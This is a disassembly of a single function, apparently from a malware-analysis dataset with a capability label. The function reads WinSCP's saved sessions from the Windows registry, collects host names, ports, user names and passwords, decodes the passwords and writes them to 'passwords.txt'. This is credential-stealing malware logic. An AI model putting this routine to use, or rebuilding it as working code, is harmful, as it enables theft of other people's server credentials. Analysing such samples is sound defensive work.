Function at 0x40d478
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xde4
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x1e3]
push ebx
push eax
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x1e4], bl
call sub.msvcrt.dll_memset
mov esi, 0x3ff
push esi
lea eax, [ebp - 0xde3]
push ebx
push eax
mov dword [ebp - 0x14], 0x104
mov byte [ebp - 0xde4], bl
call sub.msvcrt.dll_memset
push esi
lea eax, [ebp - 0x5e3]
push ebx
push eax
mov byte [ebp - 0x5e4], bl
call sub.msvcrt.dll_memset
push esi
lea eax, [ebp - 0x9e3]
push ebx
push eax
mov byte [ebp - 0x9e4], bl
call sub.msvcrt.dll_memset
inc esi
push esi
lea eax, [ebp - 0xde4]
push ebx
push eax
call sub.msvcrt.dll_memset
push esi
lea eax, [ebp - 0x5e4]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0x48
push esi
lea eax, [ebp - 0x9e4]
push ebx
push eax
call sub.msvcrt.dll_memset
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 1
push ebx
push str.SoftwareMartin_PrikrylWinSCP_2Configuration
push SysReAllocString
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
call edi
test eax, eax
jne 0x40d924
mov esi, dword [sym.imp.ADVAPI32.dll_RegGetValueA]
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x30]
push eax
push ebx
push 0x10
push str.UseMasterPassword
push str.Security
push dword [ebp - 4]
call esi
test eax, eax
je 0x40d582
cmp dword [ebp - 4], ebx
je 0x40d924
push dword [ebp - 4]
call dword [0x6397d0]
mov dword [ebp - 4], ebx
jmp 0x40d924
cmp dword [ebp - 0x30], ebx
jne 0x40d568
cmp dword [ebp - 4], ebx
je 0x40d598
push dword [ebp - 4]
call dword [0x6397d0]
mov dword [ebp - 4], ebx
lea eax, [ebp - 4]
push eax
push 9
push ebx
push str.SoftwareMartin_PrikrylWinSCP_2Sessions
push SysReAllocString
call edi
test eax, eax
jne 0x40d924
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1e4]
push eax
push ebx
push dword [ebp - 4]
call dword [0x63985c]
test eax, eax
jne 0x40d568
push 0x41e266
lea ecx, [ebp - 0x10]
call fcn.0040e58f
push str.Soft:_WinSCP_n
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e64d
lea ecx, [ebp - 0x64]
call fcn.0040e5fa
push str.Host:
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e64d
lea ecx, [ebp - 0x88]
call fcn.0040e5fa
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0xde4]
push eax
push ebx
push 2
push str.HostName
lea eax, [ebp - 0x1e4]
push eax
push dword [ebp - 4]
call esi
lea eax, [ebp - 0xde4]
push eax
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e64d
lea ecx, [ebp - 0x4c]
call fcn.0040e5fa
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x28]
push eax
push ebx
push 0xffff
push str.PortNumber
lea eax, [ebp - 0x1e4]
push eax
push dword [ebp - 4]
mov dword [ebp - 0x1c], 4
call esi
test eax, eax
jne 0x40d6cb
push dword [ebp - 0x28]
lea eax, [ebp - 0x7c]
push eax
call fcn.0040fc96
pop ecx
pop ecx
push eax
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e694
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e64d
lea ecx, [ebp - 0xa0]
call fcn.0040e5fa
lea ecx, [ebp - 0x7c]
jmp 0x40d6ee
push 0x4216b8
lea eax, [ebp - 0xac]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e64d
lea ecx, [ebp - 0xac]
call fcn.0040e5fa
push str._nLogin:
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e64d
lea ecx, [ebp - 0x94]
call fcn.0040e5fa
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x5e4]
push eax
push ebx
push 2
push str.UserName
lea eax, [ebp - 0x1e4]
push eax
push dword [ebp - 4]
call esi
lea eax, [ebp - 0x5e4]
push eax
lea eax, [ebp - 0xc4]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e64d
lea ecx, [ebp - 0xc4]
call fcn.0040e5fa
push 0x421414
lea eax, [ebp - 0xb8]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e64d
lea ecx, [ebp - 0xb8]
call fcn.0040e5fa
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x9e4]
push eax
push ebx
push 2
push str.Password
lea eax, [ebp - 0x1e4]
push eax
push dword [ebp - 4]
call esi
push str.Password:
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e64d
lea ecx, [ebp - 0x58]
call fcn.0040e5fa
push 0x41e266
lea eax, [ebp - 0x9e4]
push eax
call dword [0x639840]
test eax, eax
je 0x40d83b
lea eax, [ebp - 0x9e4]
push eax
lea eax, [ebp - 0x5e4]
push eax
lea eax, [ebp - 0xde4]
push eax
lea eax, [ebp - 0xe0]
push eax
call fcn.0040d054
add esp, 0x10
cmp dword [eax + 0x14], 0x10
jb 0x40d80f
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e64d
lea ecx, [ebp - 0x70]
call fcn.0040e5fa
push ebx
push 1
lea ecx, [ebp - 0xe0]
call fcn.0040ca79
push 0x421690
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6e6
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e64d
lea ecx, [ebp - 0x3c]
call fcn.0040e5fa
inc dword [ebp - 0x18]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1e4]
push eax
push dword [ebp - 0x18]
mov dword [ebp - 0x14], 0x104
push dword [ebp - 4]
call dword [0x63985c]
push ebx
mov edi, eax
lea eax, [ebp - 0x5e4]
push ebx
push eax
call sub.msvcrt.dll_memset
push ebx
lea eax, [ebp - 0x9e4]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0x18
cmp edi, 0x103
jne 0x40d5dd
lea ecx, [ebp - 0x10]
call fcn.0040e778
push eax
call dword [0x639724]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e778
push eax
sub esp, 0xc
mov ecx, esp
push str.passwords.txt
call fcn.0040e58f
sub esp, 0x68
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00401324
lea eax, [ebp - 0x3c]
push eax
call fcn.0041296a
add esp, 0x80
lea ecx, [ebp - 0x3c]
call fcn.0040e5fa
push 0xc
lea eax, [ebp - 0x10]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
cmp dword [ebp - 4], ebx
je 0x40d91c
push dword [ebp - 4]
call dword [0x6397d0]
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x10]
call fcn.0040e5fa
lea ecx, [ebp + 8]
call fcn.00401301
pop edi
pop esi
pop ebx
leave
ret